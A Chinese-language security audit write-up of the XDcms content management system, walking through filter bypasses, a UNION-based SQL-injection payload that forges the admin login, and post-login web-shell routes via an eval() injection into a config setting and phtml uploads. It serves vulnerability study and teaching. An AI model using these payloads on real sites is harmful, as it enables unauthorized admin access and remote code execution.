XDcms是一款十分具有教学意义(挖洞)的cms软件,你可以在其中发现很多不同的漏洞和利用,下面我将讲述一条完整的getshell利用链。
包含常规配置文件,配置储存常用目录的常量,创建了一个Smarty模板示例来渲染网页内容,加载数据库配置文件config.inc.php
和常用函数文件fun.inc.php
。
令人感到疑惑的是,他把框架的启动文件global.inc.php
放到了fun.inc.php
包含。
clue.inc.php
一些提示文本
base.class.php
几个基类(base、db、checkLogin)
Cookie.class.php
设置cookie的类及方法(前面类的首字母都是小写)
global.inc.php
启动框架
框架启动可以说是很简易了,充满了不安全的气息.
包含任意php文件。
如果类构造方法没有鉴权,就可以调用任意方法。
调用的safe_html
正则更是一绝
#### 两个安全函数的绕过
function safe_html($str){ if(empty($str)){return;} $str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file |outfile/','',$str); return htmlspecialchars($str); }
我们有
等等这么多种绕过方法。
function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; }
对于这个过滤函数我们完全可以不理他,因为很多地方忘记调用这个来进行安全过滤了(xz上另一位分析该cms的朋友不会绕这个
对于这样的流程,我们可以考虑寻找不需要鉴权的类方法调用(几乎所有的方法都是public
公开方法
),下面我们来尝试发现一下。
上来就逮到了,__call魔术方法把请求直接返回。
其他方法均继承了该方法,也就是说我们发现了一个XSS漏洞并没有什么危险。
好了发现完毕。
是的,看似不安全的流程在mvc的设计理念下也可以很轻易地做到安全,本cms唯一的缺陷(如果目录系统有其他可以利用的php类文件的话,但是并没有)就是没有统一接收变量和安全处理变量吧(写的细碎的正则)。
但是安全是一个追求极致的哲学,任何一个缺陷都可能造成整个大厦崩盘,下面我们将利用sql注入拿到更高权限。对于本系统后台密码加盐并使用了自己写的加密算法加密,一般的注入难以进行下一步的登录后台、getshell等操作。
./system/modules/xdcms/login.php -》check方法
public function check(){ $username = safe_html($_POST['username']); $password = safe_html($_POST['password']); $verifycode = safe_html($_POST['verifycode']); ... $sql="select * from ".DB_PRE."admin where `username`='$username'"; ... $rs=$this->mysql->get_one($sql); $password=password($password,$rs['encrypt']); if($password!=$rs['password']){ showmsg(C('password_error'),'-1'); }
可以看到他这里调用了不安全的safe_html来处理登录请求,存在sql注入!
但是后台密码加了盐怎么利用呢?
答案是万能密码。我们可以利用联合查询控制查询结果,控制password
字段以及encrypt
字段来完成他的判定逻辑。
登录逻辑流程:
取出第一条结果的encrypt字段,和我们输入的密码一起作为参数,调用password
函数
将函数加密的结果与查询结果比对,若一致则登录成功。
那么我们的利用逻辑就很清晰了,利用注入控制password字段和encrypt字段,使得$rs['password']==password($_POST['password'],$rs['encrypt'])
。
我们把password函数拉出来,计算password('123456','1')作为我们修改的password,encrypt为1,然后我们输入123456便成功登录。
构造的payload如下
username=q'union selselectect 1,2,'c6c6e122d028f5e37f845c8660374b78' password,'1' encrypt,5,6,7,8,9,10#&password=123456&verifycode=&button=
我们测试一下
可以看到我们成功登录了。
登录以后,XDCMS就是个任你揉捏的面团了,我们很随便地找到一万种拿shell方法。
后台->系统设置->网页设置->基本信息
$cms=SYS_PATH.'xdcms.inc.php'; //生成xdcms配置文件 $cmsurl="<?php\n define('CMS_URL','".$info['siteurl']."');\n define('TP_FOLDER','".$info['template']."');\n define('TP_CACHE',".$info['caching'].");\n?>"; creat_inc($cms,$cmsurl);
设置siteurl为http://127.0.0.1/');eval($_GET[0]);
即可。
后台->系统设置->网页设置->上传设置
添加phtml(php默认在黑名单),上传phtml拿到shell
后台->系统设置->栏目管理->管理栏目,这里每个变量都可以写,注意闭合语句减少对网站的破坏。
我们经过本次审计分析了XDCMS工作流程,确定了MVC控制框架安全的可靠性,最后创新性地利用注入构造万能密码进入后台拿到设立了。总体难度不大,相信同志们都有所收获。